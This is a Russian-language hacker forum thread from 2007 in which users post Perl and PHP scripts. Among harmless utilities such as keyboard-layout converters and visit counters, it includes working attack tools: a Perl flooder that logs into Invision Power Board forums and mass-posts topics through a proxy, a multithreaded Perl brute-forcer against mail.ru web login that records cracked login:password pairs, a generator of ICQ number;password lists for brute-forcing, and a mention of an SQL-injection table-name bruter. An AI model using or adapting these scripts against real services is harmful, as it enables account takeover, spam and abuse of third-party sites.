ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #161  
Старый 15.08.2007, 04:19
Аватар для C!klodoL
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

делать было нечего.. написал флудер ipb, правда флудить получается не все версии форума так как в них есть различия в запросах
Код:
#!/usr/bin/perl

use IO::Socket;

$phost = 'localhost';	#хост прокси
$pport = 8118;		#порт прокси
$link = 'http://forum.ru';	#ссылка на форум без / в конце
$host = 'forum.ru';		#хост форума
$user = 'Юзир';		#юзер
$pass = 'pxVoQV';		#пасс

$topic = 'Превед';		#название топика
$message = 'Превед';	#текст

$forum = 2;		#id форума
$sleep = 34;		#задержка
$count = 35;		#сколько топегов создать

###логинемся###
$post = "$link/index.php?act=Login&CODE=01&CookieDate=1";
$data = "UserName=$user&PassWord=$pass";
###получаем сессию###
$answ = request($post,$data);
($session,$session) = $answ =~ m/session_id=([a-z0-9]{32})/sg;

$topic = urlen($topic);
$message = urlen($message);

for (0..$count){
###топег### грузим страницу поста и парсим хидден кеи
$post = "$link/index.php?act=Post&CODE=00&f=$forum";
$top = "TopicTitle=$topic&Post=$message&s=$session";
$answa = request($post,$top);

@key = $answa =~ m/value=\'([a-zA-Z0-9]{32})\'/gsx;
$authkey = $key[1];
$postkey = $key[2];

###постем###
$post = "$link/index.php?act=Post&CODE=01&f=$forum";
$top = "TopicTitle=$topic&Post=$message&s=$session&auth_key=$authkey&postkey=$post_key&iconid=1";
$answ2 = request ($post,$top);
$session = $answ2 =~ m/session_id=([a-z0-9]{32})/g;

print "[+] Message ".$i++." posted\n";

sleep ($sleep);
}

sub request
{
($post,$data) = @_;
$sock = IO::Socket::INET->new(PeerAddr=>$phost,PeerPort=>$pport,Proto=>'tcp') || die '[-] Cant connect';
print $sock "POST $post HTTP/1.1\r\n".
    "Host: $host\r\n".
    "Accept: */*\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\n".
    "Content-Length: ".length($data)."\r\n".
    "User-Agent: Perl\r\n".
    "Connection: close\r\n\r\n$data";       
while ($answ = <$sock>){
    $answer .= $answ;
}
close $sock;
return $answer;
}

sub urlen
{
    ($str)=@_;
    $str=~s/([^0-9A-Za-z\?&=:;])/sprintf("%%%x", ord($1))/eg;
    return $str
}
 
Ответить с цитированием

  #162  
Старый 15.08.2007, 11:03
Аватар для biophreak
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

Все-таки советую прочитать про определение переменных (хинт: my\our\local) и всегда в перл скриптах юзать use strict; use warnings;
 
Ответить с цитированием

  #163  
Старый 16.08.2007, 19:58
Аватар для Thanat0z
Thanat0z
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
Провел на форуме:
5352530

Репутация: 2062


По умолчанию

Скрипт перевода русского текста в набор на англ раскладке
Код:
#!/usr/bin/perl

if (@ARGV < 1)
{
    print "Usage: transkey.pl source\r\n";
    exit();
}

$sour = $ARGV[0];

if (@ARGV = 1){
    $dest = $sour . '_trans';
}
else{
    $dest = $ARGV[1];
};

$alphabet = "f,dult;pbqrkvyjghcnea[wxio]sm'.z";
$alphabet2 = 'F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Z';

open (SR, "<$sour") || die "Could not open source file";
open (DS, ">$dest") || die "Could not create destination file";

while (<SR>){
    chomp;
    @bukvy = split(//);
        foreach $bk (@bukvy) {
            $num = ord($bk);
            if ($num < 256){
                if ($num > 223){
                    $bk = substr($alphabet,$num-224,1);
                }else{
                    if ($num > 191){
                        $bk = substr($alphabet2,$num-192,1);
                    };
                };
            };
        }
    print DS join("",@bukvy) . "\n";
};

close (SR);
close (DS);
 
Ответить с цитированием

  #164  
Старый 16.08.2007, 21:56
Аватар для NOmeR1
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Thanat0z, имхо, на PHP легче
PHP код:
<?
#(c) NOmeR1
function trans($str,$lang)
{
 
$eng '~!@#$%^&*()_+|QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?`1234567890-=\qwertyuiop[]asdfghjkl;\'zxcvbnm,./ ';
 
$rus 'Ё!"№;%:?*()_+/ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,ё1234567890-=\йцукенгшщзхъфывапролджэячсмитьбю. ';
 
$result $str;
 if(
$lang == 'eng')
 {
  for(
$i=0;$i<strlen($eng);$i++)
  {
   
$result str_replace($rus{$i},$eng{$i},$result);
  }
 return 
$result;
 }
 elseif(
$lang == 'rus')
 {
  for(
$i=0;$i<strlen($rus);$i++)
  {
   
$result str_replace($eng{$i},$rus{$i},$result);
  }
  return 
$result;
 }
 else
 {
  return 
'$lang может быть только \'rus\' или \'eng\'';
 }
}
echo 
trans('Crhbgn hf,jnftn','rus');
?>

Последний раз редактировалось NOmeR1; 18.08.2007 в 15:29..
 
Ответить с цитированием

  #165  
Старый 17.08.2007, 00:20
Аватар для NOmeR1
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Моя версия кодировщика и наоборот. + Моя функция unhex - долго искал, но решил сам написать.
PHP код:
          <!--(c) NOmeR1-->
<html>
 <head>
  <style>
  body
  { 
   padding:10px; 
   background:#2A2E33; 
   font-family:tahoma, verdana, arial; 
   font-size:11px; 
   text-align:center; 
   color:#B9B9BD; 
  }
  textarea
  { 
   vertical-align:middle; 
   margin:1px 0; 
   padding-right:10px; 
   border:1px solid #336600; 
   padding:2px; 
   background:#363940; 
   color:#B9B9BD; 
  } 
  form
  { 
   padding:10px;
   border:1px solid #666; 
   width:200px; 
   margin:0 auto; 
  }
  input
  { 
   vertical-align:middle; 
   margin:1px 0; 
   padding-right:10px; 
   border:1px solid #336600; 
   padding:2px; 
   background:#363940; 
   color:#B9B9BD; 
  } 
  </style>
  <title>encode() && decode()</title>
 </head>
 <body>
<?
if(!$_POST['s'])
{
?>
  <form style='width:300px;' method=post>
   Текст:<br>
   <textarea name='msg' rows=7 cols=30></textarea><br>
   <input type=submit name='s'>
  </form>
<?
}
elseif(
$_POST['msg'])
{

 function 
unhex($hex)
 {

  
$result urldecode(str_replace(' ','%',' '.$hex));

  if(
str_replace(' ','',$hex) == bin2hex($result))
   return 
htmlspecialchars($result);

  else
   return 
'не возможно';

 }

 
$m $_POST['msg'];

 echo(
'Слово - <b>'.htmlspecialchars($m).'</b><br>
       Наоборот - <b>'
.htmlspecialchars(strrev($m)).'</b><br>
       Hex - <b>'
.chunk_split(bin2hex($m), 2).'</b><br>
       Unhex - <b>'
.unhex($m).'</b><br>
       Url - <b>'
.htmlspecialchars(urlencode($m)).'</b><br>
       Unurl - <b>'
.htmlspecialchars(urldecode($m)).'</b><br>
       Base64 - <b>'
.htmlspecialchars(base64_encode($m)).'</b><br>
       Unbase64 - <b>'
.htmlspecialchars(base64_decode($m)).'</b><br>
       Md5 - <b>'
.md5($m).'</b>');
}
else
{
echo(
'Заполните поле msg');
}
?>
 </body>
</html>

Последний раз редактировалось NOmeR1; 18.08.2007 в 15:34..
 
Ответить с цитированием

  #166  
Старый 18.08.2007, 15:33
Аватар для NOmeR1
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Самый наипростейший генератор списка uin;pass.
PHP код:
<?
#(C) NOmeR1
set_time_limit(0);
$file 'uins.txt';
if(
$_POST['s'] && $_POST['password'] && $_POST['from'] && $_POST['to'] && $_POST['from'] < $_POST['to'])
{
 
$f fopen($file'ab') or die('Не возможно открыть файл'); 
 for(
$i=$_POST['from'];$i<=$_POST['to'];$i++)
 {
  
fwrite($f$i.";".$_POST['password']."\r\n") or die('Не записать в файл'); 
 }
 
fclose($f);
 echo(
'Всё успешно записано');
}
elseif(!
$_POST['s'])
{
?>
<form method=post> 
 От номера <input type=text name=from value="100000"><br>
 До номера <input type=text name=to value="200000"><br> 
 Пароль <input type=text name=password value="Password"><br> 
 <input type=submit name=s value="Go!"> 
 Пароли сохранятся в файл <?=$file?>
</form>
<?
}
else echo(
'Не правильно заполнены или не заполнены некоторые поля');
?>

Последний раз редактировалось NOmeR1; 21.08.2007 в 01:32..
 
Ответить с цитированием

  #167  
Старый 21.08.2007, 11:54
Аватар для alextoun
alextoun
Постоянный
Регистрация: 07.05.2006
Сообщений: 732
Провел на форуме:
7910701

Репутация: 811


Отправить сообщение для alextoun с помощью ICQ
По умолчанию

Цитата:
#!/usr/bin/perl
use Time::localtime;
print "Content-Type: text/html \n\n";
$ip=$ENV{'REMOTE_ADDR'};
$tm=localtime();
$y=$tm->year;
$m=$tm->mon;
$d=$tm->mday;
$m++;
$y+=1900;
$curr=$d.$m.$y.":".$ip;
#print "Current status: $curr \n\n";
$yes=0;
open(COUNT, "count.dat") || die "neotkrit!\n";
while($str=<COUNT>)
{
chomp($str);
if ($curr eq $str)
{
$yes=1;
last;
}
}
close(COUNT);
open(CTR, "ctr.dat") || die "ne otkrit!\n\n";
$ctr=<CTR>;
close(CTR);
if (!$yes)
{
open(COUNT, ">> count.dat") || die "ne otrkit\n\n";
print COUNT "$curr\n";
close(COUNT);
$ctr++;
open(CTR, "> ctr.dat") || die "neotkrit!\n\n";
print CTR "$ctr";
close(CTR);
$zeros="0"x(6-length($ctr));
$ctr=$zeros.$ctr;
@counter=($ctr=~m/(.)/gi);
foreach(@counter)
{
$image="img/".$_."OCR.GIF";
print "<img src=\"$image\">";
}
}
else
{
$zeros="0"x(6-length($ctr));
$ctr=$zeros.$ctr;
@counter=($ctr=~m/(.)/gi);
foreach(@counter)
{
$image="img/".$_."OCR.GIF";
print "<img src=\"$image\">";
}
}
потом создаюём counter.dat
и там пропишем
Цитата:
< img src="/cgi-bin/image.cgi" >
просто счётчик на перле
 
Ответить с цитированием

  #168  
Старый 21.08.2007, 12:12
Аватар для n1†R0x
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346

Репутация: 1719


Отправить сообщение для n1†R0x с помощью ICQ
По умолчанию

Простейший персональный счетчик на php кстати помещается в 4 строчки если использовать cookies.

PHP код:
<?php
    
if (!isset($counter))
        
$counter 0;
    
$counter++;
    
setcookie("counter"$counter0xAAAAAAAA);
    echo 
"You have visited this page $counter times.";
?>
 
Ответить с цитированием

  #169  
Старый 23.08.2007, 10:49
Аватар для -=lebed=-
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Цитата:
SQLBruter v. 0.2 By Raz0r (c) 2007
razor-ars[at]yandex.ru
ICQ 502210
Скрипт для брута названий табличек/полей
при реализации скул-инъекций. (во вложении).
Вложения
Тип файла: zip sqlbruter_0.2.zip (4.1 Кб, 62 просмотров)
 
Ответить с цитированием

  #170  
Старый 24.08.2007, 03:40
Аватар для C!klodoL
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

это брутир мэйл.ру, сама идея брута через вэб принадлежит genom--, я же сделал такую фишку как построчное чтение словаря паролей, т.е. он может быть большого размера, и авто высчитывание оптимального количества потоков, на основе подсчёта времени затрачиваемого на брут при определенном количестве потоков, например:
For 1 threads time = 55
For 2 threads time = 52
For 3 threads time = 50
в результате установится 3 потока
P.S. если будете юзать, то не загружайте инет канал во время высчитывания скриптом оптимального количества потоков, иначе установится ложное значение и будет непохек =/
Код:
#!/usr/bin/perl

use IO::Socket::INET;
use threads;
use threads::shared;
my @pass : shared;

######################################
$dic = 'pass.txt';
$mail = 'mail@bk.ru';
######################################
$thr = 1;
######################################

( $login, $dom ) = split ( /@/, $mail );
open (pass, "<$dic");
open (bad, ">bad.txt");
Next:
@pass = pass();
my $time_start = time;
if ( @pass == 0 ) {
	print "Sorry, password not found =(\n";
	exit;
}
for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); }
for(0..$thr) { $trl[$_]->join; }
sub Brut
{
	while (@pass){
	$pass = shift @pass;
	$data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login";
	$sock = IO::Socket::INET->new(Proto=>'tcp',
				      PeerAddr=>'win.mail.ru',
				      PeerPort=>80);
	print $sock  "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n".
		     "Host: win.mail.ru\r\n".
		     "Accept: */*\r\n".
		     "Range: bytes=0-63\r\n".
		     "User-Agent: Opero\r\n".
		     "Content-Type: application/x-www-form-urlencoded\r\n".
		     "Content-Length: ".length($data)."\r\n".
		     "Connection: close\r\n\r\n$data";
	$answ = <$sock>;
	close $sock;
	#print "$pass\t$answ";
	if ($answ =~ /302/){
		open (good, '>>good.txt');
		print good "$login:$pass\n";
		print "$login:$pass\n";
		close good;
		exit;
	}
}
}
if ( $thr < 20 && $key == 0 ) {
	my $time_end = time;
	my $timer = $time_end - $time_start;
	print "For $thr threads time = $timer\n";
	$optim[$timer] = $thr;
	$thr++;
} elsif ($key == 0) {
	while (1) {
		$thr = shift @optim;
		print "Thr $thr\n";
		last if ($thr);
	}
	$key = 1;
}
goto Next;
sub pass
{
	my (@mas);
	while (<pass>){
	push @mas, $_;
	last if (@mas > 300);
	}
	print bad $_;
	print $_;
	chomp @mas;
	return @mas;
}

Последний раз редактировалось C!klodoL; 24.08.2007 в 08:37..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ